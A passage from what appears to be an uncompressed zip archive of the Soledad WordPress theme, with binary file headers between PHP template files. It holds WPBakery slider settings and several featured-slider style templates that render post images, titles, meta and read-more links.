	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Meta Hover Color', 'soledad' ),
		'param_name'       => 'pexcerpt_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pexcerpt_fsize',
		'heading'    => __( 'Font size for Post Meta', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
		'param_name'       => 'use_pexcerpt_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'pexcerpt_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_pexcerpt_typo', 'value' => 'yes' ),
	),

	// Read More
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_style_readmore_settings',
		'heading'          => esc_html__( 'Read More', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Color', 'soledad' ),
		'param_name'       => 'readmore_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Hover Color', 'soledad' ),
		'param_name'       => 'readmore_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Read More Hover Background Color', 'soledad' ),
		'param_name'       => 'readmore_hbgcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'readmore_fsize',
		'heading'    => __( 'Font size for Read More', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'penci_switch',
		'heading'          => __( 'Custom Font Family for Read More', 'soledad' ),
		'param_name'       => 'use_readmore_typo',
		'value'            => 'no',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'google_fonts',
		'group'      => $group_color,
		'param_name' => 'readmore_typo',
		'value'      => '',
		'dependency' => array( 'element' => 'use_readmore_typo', 'value' => 'yes' ),
	),
);

vc_map( array(
	'base'          => 'penci_featured_slider',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/featured_slider/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Featured Slider', 'soledad' ),
	'description'   => __( 'Featured Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $typo_params, Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     N\V4v    7  inc/js_composer/shortcodes/featured_slider/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 7 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\lp    7  inc/js_composer/shortcodes/featured_slider/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\vC4}  }  7  inc/js_composer/shortcodes/featured_slider/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?> <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 || $i % 4 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\!#    6  inc/js_composer/shortcodes/featured_slider/style-1.phpnu [        <?php
/**
 * Template part for Slider Style 1
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => $cspost_enable,
									'keys'      => $cspost_cpost_meta,
									'acf'       => $cspost_cpost_acf_meta,
									'label'     => $cspost_cpost_meta_label,
									'divider'   => $cspost_cpost_meta_divider,
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     N\Wk&$  $  7  inc/js_composer/shortcodes/featured_slider/style-40.phpnu [        <?php
/**
 * Template part for Slider Style 40
 */

$image_size      = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();
if ( penci_is_mobile() ) {
    $image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
?>
<div class="slider-40-wrapper">
    <div class="img-blur-container">
        <div class="container-bg-slider-40">
            <?php
            $count = 0;
            while ( $feat_query->have_posts() ) : $feat_query->the_post();
                $ft_class = $count ++ == 0 ? ' current' : '';
                ?>
                <div data-index="<?php echo $count;?>" class="item-bg-slider-40 <?php echo $ft_class; ?>">
                    <div class="item-bg-slider-40-content">
                        <?php if ( ! $disable_lazyload ) { ?>
                        <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } else { ?>
                        <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip bg-img-slider-40-behind"></div>
                        <?php } ?>
                    </div>
                </div>
            <?php endwhile; ?>
        </div>
    </div>
    <div class="container-slider-40">
        <div class="galery-slider-40">
            <div class="slider-creative">
                <div class="nav-slider-slider-40 nav-slider hidden-xs">
                    <button id="prev-hl" class="btn-reset nav-slider-button prev-button waves-effect"><i
                                class="penciicon-left-chevron"></i></button>
                    <button id="next-hl" class="btn-reset nav-slider-button next-button waves-effect"><i
                                class="penciicon-right-chevron"></i></button>
                </div>
                <div class="list-slider-creative">

                    <?php while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                        <div class="item-slider-creative">
                            <div class="content-item-creative">
                                <div class="main-slide penci-43-slider-item content-item-creative">
                                    <?php if ( ! $disable_lazyload ) { ?>
                                    <div data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size ); ?>" class="<?php echo penci_classes_slider_lazy(); ?> picturefill-background fill clip img-container"></div>
                                    <?php } else { ?>
                                    <div style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>);" class="picturefill-background fill clip img-container"></div>
                                    <?php } ?>
                                    <div>
                                        <?php if ( ! $hide_categories ): ?>
                                            <div class="cat featured-cat number-tv small-title-opa"><?php penci_category( '' ); ?></div>
                                        <?php endif; ?>
                                        <h3 class="title-part white-title"><a
                                                    title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                    href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>

                                        <?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta penci-fslider-fmeta">
                                                <?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
                                                <?php endif; ?>
                                                <?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
                                                <?php endif; ?>
                                                <?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
                                                <?php endif; ?>
                                                <?php
                                                if ( $show_viewscount ) {
                                                    echo '<span class="feat-countviews">';
                                                    echo penci_get_post_views( get_the_ID() );
                                                    echo ' ' . penci_get_setting( 'penci_trans_countviews' );
                                                    echo '</span>';
                                                }
                                                ?>
                                                <?php echo penci_show_custom_meta_fields( [
                                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
                                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
                                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
                                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
                                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
                                                ] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                        <?php endif; ?>

                                        <?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                            <div class="featured-slider-excerpt">
                                                <p><?php $excerpt = get_the_excerpt();
                                                    echo wp_trim_words( $excerpt, 20, '...' ); ?></p></div>
                                        <?php endif; ?>

                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php endwhile; ?>
                </div>
            </div>
            
        </div>

    </div>
    <div class="container-thumb-creative">
        <div class="swiper nav-thumb-creative penci-owl-carousel penci-owl-carousel-slider" data-item="4"
             data-desktop="4" data-loop="false" data-nav="false" data-thumb="yes" data-auto="false">
            <div class="swiper-wrapper">
                <?php
                $countz = 0;
                while ( $feat_query->have_posts() ) : $feat_query->the_post();
                    $ftz_class = $countz ++ == 0 ? ' current' : '';
                    ?>
                    <div class="swiper-slide">
                        <div class="swiper-slide-inner">
                            <a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
                               class="thumb-container<?php echo $ftz_class; ?>">
                               <?php if ( ! $disable_lazyload ) { ?>
                                <span class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"></span>
                               <?php } else { ?>
                               <span class="penci-image-holder" style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
                                <?php } ?>
                            </a>
                        </div>
                    </div>
                <?php endwhile; ?>
            </div>
        </div>
    </div>
</div>PK     N\	  	  7  inc/js_composer/shortcodes/featured_slider/style-29.phpnu [        <?php
/**
 * Template part for Slider Style 29
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
        <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     N\ơ    7  inc/js_composer/shortcodes/featured_slider/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
